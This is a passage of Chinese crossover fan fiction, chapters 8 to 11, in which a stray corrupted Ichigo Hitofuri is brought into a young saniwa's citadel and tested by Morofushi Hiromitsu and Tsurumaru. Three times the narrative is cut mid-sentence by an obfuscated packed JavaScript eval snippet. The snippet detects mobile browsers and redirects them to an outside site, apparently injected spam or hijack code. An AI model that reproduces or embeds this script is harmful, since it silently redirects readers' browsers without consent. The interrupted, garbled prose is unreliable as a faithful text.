瞧见太刀刀柄属性的花纹样式,药研藤四郎眼神惊愕,他蓦然回过头,眼底瞬间闯入了一道欣长挺拔的身影。 水蓝色短发的太刀立于战场正中央,那身向来华丽的出阵服却有了些许破损,绶带的一角稍稍垂下,衣襟上沾染了斑驳的血迹,不知是敌方的,还是自己的。 那个人分明是—— “一期哥!” 弟弟们更快一步地喊出了对方名字,短刀们语气惊喜,他们没想到能在战场中遇见兄长,更没有想到能被兄长所救。 一期一振利落地解决掉剩下的敌刀,这些检非违使于他而言几乎不在话下,太刀猛烈地穿过敌刀,几乎是一击毙命,完全不留任何痕迹。 幸而有一期一振及时相救,短刀们没受一点伤,此刻更是兴奋地围了过去:“太好了,是一期哥!一期哥好厉害!” 相比见到兄长后兴高采烈的弟弟们,药研藤四郎却率先察觉了事情的严峻性。 平日出阵时捡到新刀相当常见,比如大和守安定便是加州清光出阵时捡回来的;刀剑出阵时受伤导致出阵服受损也是常有的事,但这名兄长身上的出阵服虽有轻微的破损,但以披风垂下的长度来看—— 这分明是一刃极化后的一期一振。 这样能力出群的兄长,自然不可能是新刀,但如果是其他审神者的刀剑,又怎么会独自一刃出现在战场地图之中? 而且,与那些检非违使力量相当的人,自然不可能是他们队伍之中五虎退,那些检非违使分明是力量强劲的一期哥吸引而来的。 这个一期哥,有些不对劲。 这倒不是药研藤四郎不放心一期一振,能够见到一期哥,他也同弟弟们一样高兴,但并非他们本丸的刀剑突然出现在自己面前,任谁都会怀疑这其中是否有什么诡计,这甚至是一刃极化刀剑,只是恰好对象他们所熟悉的一期哥罢了。 药研藤四郎倒不是认为其他本丸的一期一振会对弟弟们动手,尽管说每个本丸之中的刀剑都有着细微的不同,但他们都源于同一振本灵,对待弟弟们的情感自然也是大为相同。 但凡是一个正常本丸里养出的刀剑,都不会有伤害弟弟、伤害同僚的一期一振。 与其说是防备,倒不说是药研藤四郎身为弟弟对一期一振的担忧。 一期哥……真的没问题吗…… 除了药研藤四郎外的弟弟们都围到了一期一振,就连五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228640|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎退也不例外,更别提擅长撒娇的乱藤四郎和信浓藤四郎了。 极化的一期一振蹲下身,抚摸着弟弟们的脑袋,他笑得温柔,但同时笑意里又带着些许歉意:“大家没事就好——真是抱歉,这些检非违使是因我而来的,险些害的弟弟们受伤,我真不是一名称职的兄长。” 空气安静了一瞬。 “才不是呢!”短刀们很快就齐声反驳,就连平时胆怯的五虎退也疯狂摇头,“检非违使的出现本来就是预料不及的……怎么可以怪到一期哥的身上呢!多亏了一期哥保护我们,不然我们现在就只能狼狈的逃回本丸了!” “就是说啊——而且一期刚才那招真的很帅,我也要向一期哥学习这招!” 当然也有短刀注意到了一期一振是独自一刃,好奇地问:“一期哥也是出阵练习的吗,怎么是一个人,你的同伴呢?” “一期哥都这么厉害了,那你所在的队伍和本丸是不是更加厉害?” 伴随着弟弟们七嘴八舌的这些话语,药研藤四郎终于走上了前,在兄长疑惑的目光之下,药研藤四郎用力地抓住了这振一期一振的手腕: “一期哥。” 他的语气不容置喙:“你受伤了。” 短刀们原以为那些兄长身上的血色是敌刀的鲜血,被药研藤四郎这么一提醒,他们也都注意到一期一振衣襟上沾染的血迹到现在竟然都没有消退,不可能是打倒时间溯行军或检非违使时沾上的,皆是一惊。 “会痛吗,一期哥?”五虎退吹了吹一期一振身上血迹最鲜艳的地方,“我给你吹吹……对不起,我只会这个……一期哥还会疼吗……” “只是战斗时不小心剐蹭到的,我并没有受太严重的伤。”一期一振笑得很无奈,也不知事实真是如此,还是只是为了安抚弟弟。 但粟田口是一个大家庭,弟弟们不可能放任受伤的兄长不管不顾,即使这不是他们本丸的一期一振,那也是他们的兄长。 “要不——” “和我们一起回本丸修复一下吧,一期哥!” …… 审神者景从万物回来了,还带回了一名与审神者长得一模一样的客人。粟田口短刀们出阵中,留在本丸的刀剑没多少,几乎只剩下了当日被安排了内番的几振刀,所以这个消息很快就传遍全本丸。 烛台切光忠给他们备了点心与清茶,虽说他对审神者带回来的这名客人也有些好奇,但什么都没有询问,并没有打扰小小的审神者与小小的客人。 鹤丸国永倒是和烛台切光忠聊了起来,虽然两人并非同一本丸的刀剑,但都在伊达家待过,本就关系不错。 诸伏景光还是第一次见刀剑如此匮乏的本丸,不过本丸建造初期似乎也的确如此,缺资源,也缺委托符,更缺刀剑,他虽然没有经历过这个阶段,但多少也有听说过。 才喝了几口茶,本丸内部就传来了几声响动,这个声音诸伏景光也有几分熟悉,知道是出阵的第一部队回来了。 “要去迎接他们吗?” 诸伏景光问了一句。 审神者景点点头,他从榻榻米上爬了起来,还没有来得及踏出几步,就看见一群短刀拽着一刃太刀火急火燎地朝他们赶了过来。 “主人!”隔着极远的距离,他们都能够听见领头的乱藤四郎喊道,“一期哥受伤了,您能帮他手入一下吗?!” 而随着话音的落下,看清了被短刀们簇拥着水蓝色太刀的诸伏景光与鹤丸国永几乎是同时眼皮抬起眸,微不可察地蹙了下眉。 这座本丸的刀剑没多少经验,看不出来,可他们却看得明白—— 那刃被短刀们拽过来的一期一振,是一振暗堕刀。 9.第 9 章 按照流程,想要将他人的刀剑带回自己的本丸,必须先征求审神者的同意。 但审神者去了万屋,近侍也不在本丸,粟田口的短刀们就算是有心也联系不上他们。 一期一振身上的伤也不轻,虽然不知道是不是因为这次遇到的检非违使导致的,但一期哥方才出手帮了他们,短刀们自然也不可能坐视不管。 而且自家审神者人很好,平时也总是与短刀们一起嬉戏,想来也不会介意,擅自将一期哥带回本丸,他们事后向审神者解释一番就好。 虽说审神者不在本丸不方便手入,不过有药研藤四郎在,简单上药包扎一下还是不成问题。 难搞的其实是一期一振本身,这位来自陌生本丸的哥哥桑始终是在推辞,似乎是并不想与他们一同回到本丸,还是听说审神者目前不在本丸内时这才犹豫了一下,最终敌不过弟弟们的热情,被带回到了本丸。 药研藤四郎原本是直接打算回粟田口的部屋给一期一振治疗伤处,但是眼尖的乱藤四郎刚回到本丸就瞧见了不远处屋檐下正在谈论着什么的两把打刀。 乱藤四郎眼睛瞬间一亮:“加州先生——大和守先生——你们回来了啊——!” 加州清光回过头,就看见了从时空转换器前出来的短刀队,目光落在那振陌生的一期一振上,还以为他们捞了新刀剑:“诶?你们捡回了新刀剑?” 加州清光眯了眯眼睛:“——不过,你们出阵的地图,有一期一振掉落吗?” 他记得低等级地图,是不会掉稀有刀的啊。 没有人回答他的问题,信浓藤四郎更是一脸的焦急:“大将现在在哪,我们有要事要找他!” “主殿在万叶樱下招待客人,”加州清光还以为信浓藤四郎的“要事”是指带捞回来的刀剑觐见审神者,“这种事情交给我就好,你们好好休息——” 话语都没有落下,机动极高的短刀们就已经推着那振一期一振不见踪影,只有药研藤四郎还留在原地。 加州清光完全没瞧见他们的影子,小声嘀咕:“他们这么着急的吗……” 这种事情不该是他这名近侍的工作吗?! 审神者要招待客人叫过去了烛台切光忠不让他伺候就算了,但是为什么这种明明就应该是他作为近侍的工作也会被抢啊! “因为那是一期一振吧。”大和守安定笑着打圆场,“他们等哥哥等得挺久了,着急一些也能理解呢。” “再着急也不能抢近侍的工作吧。” 加州清光撇撇嘴,但是没打算与短刀们计较,两刃打刀的目光落在唯一落单的药研藤四郎身上,有些奇怪:“你不和他们一起送一期一振过去吗?” “我正要说这件事——”药研藤四郎已经换回了内番服,他穿上白大褂,将眼镜戴好,“那振一期哥,并不是我们捡回来的新刀剑,而是一刃极化刀。” “什么?!” 听完药研藤四郎的解释,加州清光急匆匆地往自家审神者的方向赶去,大和守安定和药研藤四郎都险些没有追上他的步伐。 审神者邀请他人来本丸做客就算了,但是他们怎么能不打招呼就将其他本丸的刀剑带回来见审神者呢! 怎么又绕过他这个近侍做决定啊! 那可是一振极化后的一期一振啊!万一出了什么危险,那该怎么办是好!要知道他们整个本丸的刀剑练度都不高,怎么可能打得过极化刀啊! 幸好事情并没有向加州清光设想得那么糟糕,短刀们也向审神者景解释了事情的始末。 审神者果然没有生气,听到他们遇见了违非检使时,那双一向温润的眼眸里也流露出些许微不可察的担忧,此刻再听到短刀们的请求,自是忙不迭地点了点头。 见到加州清光带着药研藤四郎他们来了,审神者连忙朝近侍招了招手,要和他们一起去准备手入需要的资源。 “我们也来帮忙!”要帮一期一振手入,短刀们也很热忱,只留下了最小的五虎退留在了一期一振身边。 倒是坐在万叶樱下的诸伏景光的目光锁在那振一期一振上,眉眼间还带着些许审视的意味,他放下了手中那盘由烛台切光忠端上的萩饼,对上了鹤丸国永一样凝重的眼神。 几乎是审神者景带着一整条刀剑风风火火去准备手入的下一秒,一把太刀横空出世直直朝那刃一期一振袭去。 五虎退吓了一跳,抱着小老虎的双手也手忙脚乱,想要保护一期一振。 但一期一振的反应速度显然比弟弟更快,原本只是顺从地低垂着眼眸说着“抱歉打扰了”话语的太刀手腕一抬,华丽的太刀在那一刹间从从奢华美丽的刀鞘之中拔出,迅速抵挡住了这一招。 刀拵上精美的鹤丸纹样宣告了这刃刀的主人是谁。 “抱歉抱歉,第一次遇见极化后的一期一振,忍不住想试探一下实力,吓到你了吗?” 诸伏景光握住银白色的刀柄,眉眼轻幅度地上扬着,但他灰蓝色的眼底却见不着半点笑意,鹤丸国永则抱着自己的刀鞘站在他的身后,金色的瞳孔也微微弯起,似乎只是在抱怨: “呀,少主怎么抢我的台词啊!突然之间出手,我也被吓到了啦。” 一期一振显然是也注意到了诸伏景光与审神者景一模一样的面庞,但他没什么反应,只是摇了摇头,表示自己并不介意。 诸伏景光眸里含笑:“只是想看看鹤和一期一振先生哪位更厉害一些,现在看来,似乎是一期哥更胜一筹呢。” “我都还没有动手呢,少主就直接给我们下了定论,也偏心得太过分了吧。”本体刀收回刀鞘,鹤丸国永抱怨了几句,他抱着自己的本体刀又望向了那振受伤的一期一振,金色的瞳孔一度燃起了胜负欲,“既然如此,一期,不妨我们比试一下,好歹让我证明一下我自己吧。” 这俩主仆一唱一和,根本不给一期一振拒绝的机会,忽然就被邀请切磋的一期一振喟叹了一口气,只能拔出自己的本体刀迎战。 “承让了。” 五虎退看着不知道怎么就开始切磋的两刃太刀,抱着小老虎不免有些茫然,他方才也有听见加州清光介绍这位与审神者长得一模一样的客人,还没有想通客人与审神者究竟是什么关系,就看见一期一振被迫带伤应战。 抱着小老虎,他小声给自家哥哥打气:“一期哥……加油!” 声音很小,但一期一振听清了,鹤丸国永也听见了。 “哈哈,真可爱啊!”两刃太刀交战时相撞的剑锋嗡鸣作响,鹤丸国永握住本体与其交战,“有弟弟真幸福啊,一期殿。可惜我没有什么兄弟姐妹,没人给我加油。” 一期一振脸上是一如既往的温和微笑:“鹤丸殿也有一名十分疼爱你的审神者不是吗,您的审神者可是一直都相信你啊。” “没错没错,少主和主人都很爱我,”鹤丸国永完全没有否认,眉目弯弯,“不过你的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244273|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人应该更疼爱你吧——” 浑身雪白的太刀意有所指:“连极御守都安排上了。” 他说的是一期一振挂在腰间的金黄色御守,拥有着明显是十分爱惜的,即使是挂在太刀腰间这样私密的地方,御守也没有半分破损,只是有些旧了,有些年头了。 一期一振一怔。 鹤丸国永的攻势仍在继续,好在一期一振很快就回神,连忙接招,水蓝发色的太刀忙做出反击,转防守为攻击。 原本攻击持平的两刃终于有了差距,鹤丸国永似乎是躲闪不急,肩头被太刀的刀剑刺中,染上了模糊的赤色。 一期一振显然也没有想到自己能够伤到鹤丸国永,连忙收手:“没事吧,鹤丸殿?” 鹤丸国永却哈哈大笑起来:“被吓到了吗?不用担心,这点小伤我等会儿蹭你们的手入室修复一下就好。不过确实是我没有反应过来,技不如人,输了这局。” 一期一振抿唇:“是鹤丸殿考虑到我受伤,一直收着力……” “没有没有,我可打不过极化刀,的确是我技不如人。”鹤丸国永说着,又跳回到了自家少主身边。 “我受伤啦,少主——不过我也不是很没有用,等会儿就可以进手入室帮少主盯梢了。” 诸伏景光的确是想要让自家鹤丸国永试探一下这刃一期一振,但也从来都没有想要让鹤丸国永刻意受伤,这一出完全就是鹤丸国永自作主张。 “简直是胡闹。”诸伏景光皱着眉,但他外表与审神者景一样都是七岁孩童,生气起来一点都不显可怖,反而还有几分可爱。 不过鹤丸国永也不会在这种时候不分场合地调戏自家少主,任凭诸伏景光帮他查看伤势,方才一期一振没来得及收力,刀尖没入了肩膀,染红了肩头一片。 鹤丸国永完全不以为意,言笑晏晏:“红色和鹤难道不是很相配吗?”他又用极低的声音对诸伏景光说了一句:“他的本体有裂痕——我刚刚确认过了,这的确是一把暗堕刀,但是程度很轻微。” 暗堕是分等级的,高等级的暗堕甚至能够影响到刀剑付丧神的外表,但这振一期一振从外表上与普通的极化一期一振并没有多少不同,低等级的刀剑的确很难辨认出这是一把暗堕刀。 “但他有一个极御守。” 刀剑暗堕的原因层出不穷,但往往都是由于审神者失格才会导致原本极度忠诚的刀剑暗堕。 而极御守是一个极其稀有的道具,它比普通御守等级更高,也更难获得。 “他是婚刀?” “不一定。”鹤丸国永却摇头,虽然说倘若审神者与刀剑谈恋爱的确会有送极御守确认婚刀的习俗,但也不是所有拥有极御守的刀剑都是审神者的婚刀,“但能够得到极御守,他的审神者一定很重视他。” 鹤丸国永顿了一下:“今天遇到的这些事,真的是成功吓到我了呢……不过,我实在是难以想象,到底是审神者做了怎样过分的事,才会让一名得到了极御守的极化一期一振暗堕……” 诸伏景光的目光落在对面被五虎退紧紧牵住的一期一振上,水蓝色短发的太刀弯着腰,正柔声安慰着自己的弟弟。 这刃一期一振的表现,也的确不像是暗堕刀…… 诸伏景光思绪徘徊了一阵,他忽然间眼神骤变,似乎是记起了什么,想到了另一种可能性: “有没有可能……” “——是审神者死了呢?” 10.第 10 章 刀剑附上神暗堕的原因往往有很多,但归根结底,都会与审神者脱不了干系——不管是常见的审神者失格,还是方才诸伏景光所猜测的审神者死亡,都会在一定的程度上影响着刀剑付丧神的状况。 而这阵暗堕的一期一振,却与其他一期一振一样,仍然维持着粟田口长兄的风范,他对弟弟们依旧要好,从态度上看不出任何端倪。 甚至就连在面对方才贸然出手的诸伏景光与不顾他伤势就提出切磋的鹤丸国永,他也仍然是以礼相待,以恭而有礼的态度面对同伴刀剑,完全看不出有任何的敌视。 至于幼小的审神者景……虽然说一期一振与这座本丸的审神者目前并没有直接的接触,诸伏景光无法果断地做出确凿的判断,但依照目前的情况,一期一振对待人类的态度也并非是仇视。 ——也并不能够排除审神者景年纪太小,外表不过7岁的审神者并没有被这刃暗堕的附上神放在眼中的可能性。 但诸伏景光还是更偏向于审神者死亡这一假设。 毕竟在他那件依旧华丽的出征服上挂着的可是一般只有婚刀才会持有的、极其珍贵的极御守。 不过就像鹤丸国永所说的,持有极御守的刀剑,也不一定是审神者的婚刀,但无论如何,这都无疑说明了,这刃一期一振的审神者对待一期一振可谓是相当的疼爱。 一期一振是一刃外表温柔、内在忠诚的刀剑,何况这还是一刃极化以后的一期一振。 极化前的一期一振或许还只是一位温柔守护着弟弟们的兄长,残缺的记忆勒令他一直以来对自己的存在没有什么实感,但历经极化旅程后的一期一振却是完全的不一样。 长时间的修行之旅,也终于是让他与历史上的主人丰臣秀吉有了共鸣,一期一振的过去不再是轻飘飘的一份记录,他亲手填补了这份情感上的空缺,将自己打磨成了便于现任主人使用的长度,也十分坦率地交付了自己对主人沉甸甸的情感,尽心地为自己的审神者而效力。 这样一刃极化一期一振,不只是鹤丸国永,诸伏景光也很难想象他为什么会暗堕——除非是失格的审神者对粟田口的兄弟们做了什么实在是让一期一振无法容下的恶事,否则这刃一期一振都不应该会背叛自己的主人,更别提暗堕了。 ……只有审神者的死亡,才会是最有可能令温柔稳重的一期一振沦为暗堕刀剑。 鹤丸国永对自家少主的这句话不置可否。 通体雪白的太刀并没有在此事上发表任何一句推测,鹤丸国永的眉眼只是微微抬起,不动声色的提醒着自家少主:“呀,他们回来了。” 只要有这群小短刀在,本丸往往都是热闹的,根本不需要鹤丸国永的提醒,诸伏景光就已经听见了那堆小短刀嘻嘻笑笑的又随着近侍一起回到了万叶樱下。 “手入的资源已经准备好了,一期先生,我们现在就可以去……”加州清光的话说到这里,那一双红色的吊翘眼就蓦然瞪大了一些,满眼都写着不可置信的望向了鹤丸国永,红色的近侍不由嘶了一声,语气里更是透露着茫然,“这是怎么回事?审神者不过才离开了几分钟,怎么连鹤丸先生也受了伤?” “抱歉,抱歉,”鹤丸国永却嘻嘻笑着,对自己身上的伤不以为然,“刚才有些无聊,忍不住与一期殿切磋了一下,这才不小心受了伤。真是不好意思了,我可以一道借用你们的手入室吗?” 白色的鹤肩头染上了醒目的红,作为本丸的近侍,客人在自家本丸受了伤,加州清光也不可能不管不顾。 加州清光了解自家审神者的性格,他也知道这种小事,审神者当然不会介意,也只能无声的叹了一口气,就这样领着鹤丸国永和一期一振来到了手入室。 审神者景在手入室准备好了资源,只等会着近侍将一期一振带来,看见多了一刃鹤丸国永,眨了眨眼睛,也有一些惊讶。 加州清光将鹤丸国永方才说的话复述了一遍,也正如鹤丸国永所预料的那样,审神者并没有任何介意,不管是不是自己本丸的刀,只要有刀剑受伤,那就应该得要手入治疗。 诸伏景光脸上挂着歉意的微笑,他原本还想要解释几句自己为什么不能帮鹤丸国永手入,但善良的审神者景却并没有过问此事,他早已准备好的说辞便也没了着落。 一进手入室的大门,鹤丸国永就察觉到了一股熟悉的灵力在整间屋子之中蔓延。 熟悉到哪种程度呢——这样的灵力,他方才就有接触过。 鹤丸国永并没有身张,他只是不动声色地滴溜着眼睛,目光的落点最终望向了位于手入室正中央的审神者景与那刃一期一振。 审神者其实并不是需要时时刻刻都待在手入室内的,按照一般的流程,只要投入了足够的资源,走路时便可以通过审神者留下的灵力自动为受伤刀剑治疗。 但一期一振与鹤丸国永,毕竟不是他本丸刀剑,他们有着自己契约过的主人,小小的审神者。还是第一次治疗别人的刀剑,生怕会出现什么差错,也就不敢离开了。 鹤丸国永身上受的伤与一期一振相比,几乎是可以忽略不计的程度,但不论是审神者景还是诸伏景光,都不可能任由鹤丸国永带伤行动,更别提鹤丸国永。还是故意为了进手入室而受的伤。 太刀手入消耗的资源要比其他刀剑多得多,修理的时间相对也要长上许多,便只是轻伤,也够他们在手入室里面待上好一会了。 而向来活泼的鹤丸国永可不会让话题落在地上,所以在手入室里待着时间里其实并不难熬。 有鹤丸国永在的地方,就总会发生着趣事,鹤丸国永在自己的本丸内也相当活泼好动,是经历了不少令人头疼,抑或唏嘘的事情。 这本丸内还没有压切长谷部,这王国勇也是趁着这一点,便开始肆无忌惮地讲起了与他本丸的这位近侍的恩恩怨怨。 ——首当其冲的还是鹤丸国永自己的逃番事件。 审神者景还是一名新任的审神者,他年纪小,不懂得逃番代表着什么,加州清光会因为短刀门的逃番而无奈,但审神者景却是不会太计较的。 讲述的过程之中,鹤丸国永不动声色地瞟了一期一振好几秒,而水蓝色短发的太刀脸上始终维持着得体的微笑,甚至时不时附和了几句,好像真的是一刃从正常本丸内出来的刀剑。 但鹤丸国永还是注意到了,一期一振搭在桌上的手指,不知道为什么正在轻轻的发抖,甚至还有着些许泛白。 手入室内有鹤丸国永活跃气氛,手入室外也更是热热闹闹的。 粟田口的短刀们在此番出阵之中还遭遇了检非违使,但他们并没有受伤,自然也就不可能跟随着一期一振一起进入手入室。 在手入室外待的有些久了,短刀们有些无聊,叽叽喳喳地聊着一些什么,如果是平时加州清光也就任由他们这样了,本丸内现在好歹还有客人在内,他总不能让自家小审神者邀请而来的客人看了笑话。 加州清光咳嗽了几声,就要开始赶人了:“不要都围在这里啦,要是吵着了主殿,那可就大事不妙了!” 今日的大多数时间是在万屋内度过的,所以本日的日课还余下了一些,没有彻底完成。 如果是平时这些工作,加州清光一个人也能做完,可作为近侍,审神者在为其他本丸的刀剑手入,他自然是要守在手入室外,以免突发危险。 “主殿现在还在手入室内一期先生治疗,现在肯定是顾不上日课了,大家帮帮忙,一起将最后的日课做完吧!” 审神者景人很好,短刀们也相当喜欢审神者,更别提审神者现在还在帮他们手入修理,他们出阵带回来的粟田口的大哥,单凭这一点,他们自然也是会同意的。 加州清光颁发着任务: “……刀装的话,就交给信浓和博多了。需要锻三次就好了,不用太在乎质量,搞砸了就行——好吧,就算真的搞砸了也没有关系,锻造三次就好了。” “接下来是……” 加州清光的目光最后落在了剩下的那个没有完成的日课上: “接下来是锻刀。” 他还没有想好这项任务究竟要派发给谁,乱藤四郎就率先举起了手: “这项工作就交给我吧!我也想往锻刀池里面丢委托符,为主人带来新的同伴!” “啊,也可以。” 加州清光当然不会拒绝他,他终于将所有任务都派发完成,最后留在手入室门前的,除他以外,就只剩下了药研藤四郎与诸伏景光。 药研藤四郎留下的理由非常简单,他是目前本丸内唯一一位精通医学的刀剑,一期一振与鹤丸国永,毕竟不是自家本丸内的刀剑,倘若真的出现了什么差错,药研藤四郎也能够及时进入手入室帮忙处理。 对于诸伏景光留下的理由,那可就更加合理了,鹤丸国永是他带来的刀剑,尽管诸伏景光没有一起同审神者景进入手入室,但仍然是会担忧自家的刀剑,一同守在这里,实在是太正常不过了。 而作为近侍的加州清光,自然也是要留在手入室外,随时听候自家审神者的差遣。 没过多久,手入室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260851|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门终于打开了,有一名太刀的治疗终于完成了。 那自然是鹤丸国永他身上受的伤毕竟很轻,治疗的时间自然也比一期一振少得多。一期一振还得要再在手入室里面多待上一会,但现在的情况也并不需要审神者景时刻守在里面了。 只是鹤丸国永的伤虽然好了,可他却并没有离开手入室,感觉是小小的审神者景先到了门口,而鹤丸国永仍然坐在手入室的桌前,笑眯眯地与自家少主打招呼:“呀,少主居然这么担心我,还亲自守在门口等我出来,实在是倍感荣幸。” “不过……”他话锋一转,“我要现在就出来的话,那一期殿岂不是要在手入室里面无聊死了?” 他似乎是出于对刀剑同伴的怜惜,仍然想要在陪伴一会儿。 走到门口的审神者景听到他这句话,迈出的步子也犹豫了一下,似乎是想说,要不干脆自己也再留一会儿。 但他还没有来得及表示出这句意思,走廊的尽头。又有一道清亮的声音往他的耳边砸来: “主人,主人!” 橙发的小短刀看起来非常的高兴,他步伐雀跃,几乎是一路狂奔的跑到了手入室的门口,长时间的奔跑令他喘着粗息,但乱藤四郎的眼神仍然亮晶晶的。 “3小时20分钟!是3小时20分钟!” 乱藤四郎一刻都没有耽搁,欣喜若狂的向审神者报起了刚出现的喜讯: “主人,我锻出了3小时20分钟的刀剑呢!” 听到乱藤四郎的这句话,加州清光再一次不可置信的瞪大了眼睛: 3小时20分钟,乱藤四郎第一次锻刀就锻出了3小时20分钟的刀剑! 他可是在锻刀池里面连续锻了那么多天,最欧的一次也是才是三小时的烛台切光忠! 这群短刀怎么就这么欧! 审神者景眨了一下眼睛,显然还是不懂3小时20分钟意味着什么,而一边的诸伏景光倒是身经百战,为审神者解释了一下: “3小时20分钟,是一些相对稀有的太刀的显现时长。” 比如鹤丸国永的显现时长正是3小时20分钟,而一期一振的显现时长也是这个时间。 乱藤四郎实在是高兴极了,他连手入室内还没有出来的兄长都不顾了,挽着审神者景的胳膊就要带他去看自己的成果:“我为主人锻出了这么稀有的刀剑,主人应该怎么奖励我呢……” 加州清光连忙跟上了,走廊内很快就只剩下了这三人的背影。 “呀,3小时20分钟呢,”手入室的大门还没有关,原本靠在一边的鹤丸国永挑了挑眉,“这么一看有可能是我,也有可能是你呢。不过也有可能是源氏的那对兄弟,或者是江雪、莺丸他们,这可都说不准啊。” “但是,如果是一期一振的话,那你可就只有3小时20分钟的犹豫时间了……” 也不知道这期间手入室内究竟发生了什么,鹤丸国永说到这里,声音也变得极轻: “如果你想要和他契约的话。” 如果是平常人听到鹤丸国永这一句没有来头的话,恐怕会是十分的茫然,毕竟哪怕这把一期一振是一刃暗堕刀剑,但也终归是有主的刀。 虽然说时政也并不反对在特殊情况下刀剑二次认主,但这样的情况也实在是少见,流程也相当复杂。 然而,听见鹤丸国永的这句话后,水蓝色短发的太刀,却始终低着头。他的脸上没有什么太大的变化,可他攥紧的手指没入掌心,微微泛白的指骨出卖了他。 一期一振闭了闭眼睛,可他却仍然什么话都没有说。 看着一期一振这样的反应,鹤丸国永心里也逐渐了然,他终究还是出了手入室的门,十分贴心的给一期一振留了一个独处的空间,与自家少主站在了一起。 “你方才那句话是什么意思?”诸伏景光瞥了他一眼。 “只是有些感慨,这个本丸内很快就可能会有我或者一期殿的同振了。” 诸伏景光当然指的不是这句话,微微眯起眼睛,单刀直入地问道:“所以说,你到底发现了什么?” “少主想要知道吗,那可是一件相当令鹤惊吓的事哦。”鹤丸国永微微弯下了腰,脸上的笑意丝毫不减,主仆二人用极低的声音道: “你知道吗,少主?——那刃一期一振身上的灵力,简直与你一模一样。” “嗯?”诸伏景光也抬起了眸,真实年龄为26岁的警官先生仍然那副淡然自若的表情,“我以为鹤应该是清楚的,我只是一个没有灵力的普通人。” 11.第 11 章 “很抱歉,这的确是因为我们的失误引起的一场意外……” 时之政府本部的某间待客室内,西装革履的工作人员站在一旁,他歉意的目光落在对面身着深蓝色连帽衫的年轻男人身上,语气也更加诚恳: “诸伏先生,我们会尽快解决bug,给您一个交代。” 位于沙发上的诸伏景光手里捧着一个茶盏,杯中的清茶热气氤氲,滚烫的温度隔着瓷杯传递到手心。 这明显是无法直接入口的温度,诸伏景光的脸上依旧挂着标准的微笑,面不改色地将茶杯还给了茶几。 “我大概明白你们的意思了,只不过你们口中的交代,具体是要怎么做呢?” “既然是时空转换器出了bug,我们自然是要将您送回到原本的时间——请放心,以时政的精度,不会出现一分一毫的差别,您被带到时政本部之前是怎样,回去时就是怎样——” 工作人员的话还没有说完,对面那名从始至终都摆出温柔姿态的年轻男人轻幅度的抬了一下手: “对,就是这里……” 他歪了下脑袋,这个尽显可爱的动作配上的却是一脸愁容: “我也很想要理解你们的工作,可是,我来之前……是在自杀啊……” 手枪的扳机已被扣响,如果将其原封不动的送回那个时间点,届时将会发生什么不言而喻。 工作人员蠕动了一下唇,却到底是什么话都没能说出口。 他们也相当明白这代表了什么,当时的诸伏景光毅然决然的扣下扳机,连他身前的男人都无法阻止他干脆利落的决断,那个时候的他,或许是真的不在乎自己的生死,却又因为时政的差错不得不出现在这里,休整一番后的他也早已冷静下来,并没有了当时的冲动,如今他们再将人给送回去,这岂不就是明摆着叫对方去送死吗? 当时的诸伏景光愿意赴死,现在的诸伏景光不得不死。 这样的差别,也未免太过残忍。 虽说这是一段早就发生过的历史,如果诸伏景光的心态没有变化,那的确与时政扯不上任何关系,但现在诸伏景光这么说,明显是不愿意死,强行将人送回去的话,尽管历史从大方向上并未改变,可根本的动机已经变更。 而且这样一来,这段本该与时政扯不上任何关系的历史,是会沦为时政的因果,变成了是他们时政在逼人去死。 “抱歉,我并不是想要给你们上压力,”那个没能死去的黑发蓝眸的男人脸上明明摆着一副善解人意的面孔,他说出来的那些话也相当体贴,可落在时之政府的工作人员耳中却分外的咄咄逼人,“如果实在没有别的办法,我会尊重历史,不会让你们为难的。” 尽管诸伏景光的话里没有一句不愿意,他的语气里分明就滞满了勉强。 所谓的尊重历史,不就是让本人奔赴必死的结局吗,天底下最残忍的事莫过于此。 天地良心啊,他们时之政府虽然总是被审神者们怒骂不做人、剥削审神者与刀剑,但说到底也是正规机构,哪能真的做逼人去死的勾当?! 话都说到了这种地步,时政的工作人员又哪能真的直接将人给送回去,他深吸一口气,语气谨慎: “的确,是我们考虑不周,请您稍等,此事我们会重新商讨。在此期间,您可以在一楼是公共区域内自由活动,但请不要走远。” 时政本部并不像万物那样热闹,这里毕竟是办公大楼,来往的人群要么是与时政契约的审神者,要么就是编制内的工作人员,并非是闲逛的好去处。 诸伏景光倒是不在意这些,他现在唯一的目的,但是绝对不能让自己原封不动的被送回到天台。 天台时开出那一枪是他当时唯一的选择,他已经穷途末路,但绝对不能再连累降谷零,他不能够信任莱伊,也不能赌那万分之一的可能性。 而现在,由于时之政府的差错,他被阴差阳错的带回到了时之政府,时间也不再像方才那般紧急,他完全能够空出闲去思考得更多。 